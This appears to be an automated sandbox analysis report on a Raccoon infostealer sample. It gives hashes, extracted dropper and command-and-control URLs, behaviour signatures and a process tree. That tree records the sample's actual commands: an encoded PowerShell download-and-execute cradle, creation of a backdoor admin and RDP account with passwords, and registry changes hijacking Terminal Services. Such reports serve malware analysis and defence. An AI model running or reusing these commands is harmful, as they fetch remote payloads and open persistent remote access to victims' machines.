Analysis

  • max time kernel
    88s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-06-2021 18:08

General

  • Target

    f13060a6789449453b7d4a4b815cc80d.exe

  • Size

    567KB

  • MD5

    f13060a6789449453b7d4a4b815cc80d

  • SHA1

    77d3b0a202710d93c660aca624a63a97811b8f9e

  • SHA256

    2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54

  • SHA512

    78ed128be390ff896fb83b4cac8b30db20258f985d8f86d61f64da19cbd0bd8e2891a46fbdee1ad09e6d99fda697dfb12650deb1c628979b3a4133c438313b55

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe
    "C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4048
    • C:\Users\Admin\AppData\Local\Temp\ZyKUG6PQzM.exe
      "C:\Users\Admin\AppData\Local\Temp\ZyKUG6PQzM.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2168
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nj0rhsok\nj0rhsok.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3340
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4339.tmp" "c:\Users\Admin\AppData\Local\Temp\nj0rhsok\CSC4A9A379BCE29450F98C1A91E8A88D1F.TMP"
            5⤵
              PID:1596
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2416
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2984
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3936
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:2932
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:3652
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:3868
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3904
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:3872
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1632
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1564
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3960
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:2388
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4012
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1512
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3936
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:1328
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:4312
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:4328
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3744
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:3408
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3896
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3640
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:1644
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc kYvjN912 /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2024
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc kYvjN912 /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1084
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc kYvjN912 /add
                          3⤵
                            PID:3864
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2408
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3344
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3960
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:912
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4076
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:184
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2864
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:3960
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:2188
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc kYvjN912
                                1⤵
                                  PID:3964
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc kYvjN912
                                    2⤵
                                      PID:3872
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc kYvjN912
                                        3⤵
                                          PID:1428
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:1172
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                          • Modifies data under HKEY_USERS
                                          PID:1656
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic CPU get NAME
                                        1⤵
                                          PID:1428
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic CPU get NAME
                                            2⤵
                                            • Modifies data under HKEY_USERS
                                            PID:912
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          1⤵
                                            PID:1656
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              2⤵
                                                PID:3652
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  3⤵
                                                  • Blocklisted process makes network request
                                                  • Drops file in Program Files directory
                                                  • Drops file in Windows directory
                                                  • Modifies data under HKEY_USERS
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3872
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C net user wgautilacc 1234
                                              1⤵
                                                PID:4196
                                                • C:\Windows\system32\net.exe
                                                  net user wgautilacc 1234
                                                  2⤵
                                                    PID:4236
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 user wgautilacc 1234
                                                      3⤵
                                                        PID:4256

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • memory/2128-124-0x00000214FF960000-0x00000214FF962000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2128-127-0x00000214FF966000-0x00000214FF967000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2128-126-0x00000214FF965000-0x00000214FF966000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2128-125-0x00000214FF963000-0x00000214FF965000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2128-122-0x0000021499400000-0x0000021499821000-memory.dmp

                                                    Filesize

                                                    4.1MB

                                                  • memory/2168-160-0x0000027FAF1C0000-0x0000027FAF1C1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2168-133-0x0000027F96350000-0x0000027F96351000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2168-136-0x0000027FAEA00000-0x0000027FAEA01000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2168-143-0x0000027FAE7F0000-0x0000027FAE7F2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2168-161-0x0000027FAF550000-0x0000027FAF551000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2168-144-0x0000027FAE7F3000-0x0000027FAE7F5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2168-216-0x0000027FAE7F8000-0x0000027FAE7F9000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2168-145-0x0000027FAE7F6000-0x0000027FAE7F8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2168-153-0x0000027F963A0000-0x0000027F963A1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2416-206-0x000001789B0D8000-0x000001789B0DA000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2416-205-0x000001789B0D6000-0x000001789B0D8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2416-177-0x000001789B0D0000-0x000001789B0D2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2416-178-0x000001789B0D3000-0x000001789B0D5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2984-209-0x00000215370C0000-0x00000215370C2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2984-211-0x00000215370C6000-0x00000215370C8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2984-210-0x00000215370C3000-0x00000215370C5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3872-249-0x000001BCEF833000-0x000001BCEF835000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3872-251-0x000001BCEF838000-0x000001BCEF839000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3872-250-0x000001BCEF836000-0x000001BCEF838000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3872-248-0x000001BCEF830000-0x000001BCEF832000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3936-213-0x00000272FBB90000-0x00000272FBB92000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3936-215-0x00000272FBB96000-0x00000272FBB98000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3936-214-0x00000272FBB93000-0x00000272FBB95000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4048-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                    Filesize

                                                    600KB

                                                  • memory/4048-114-0x0000000002110000-0x00000000021A1000-memory.dmp

                                                    Filesize

                                                    580KB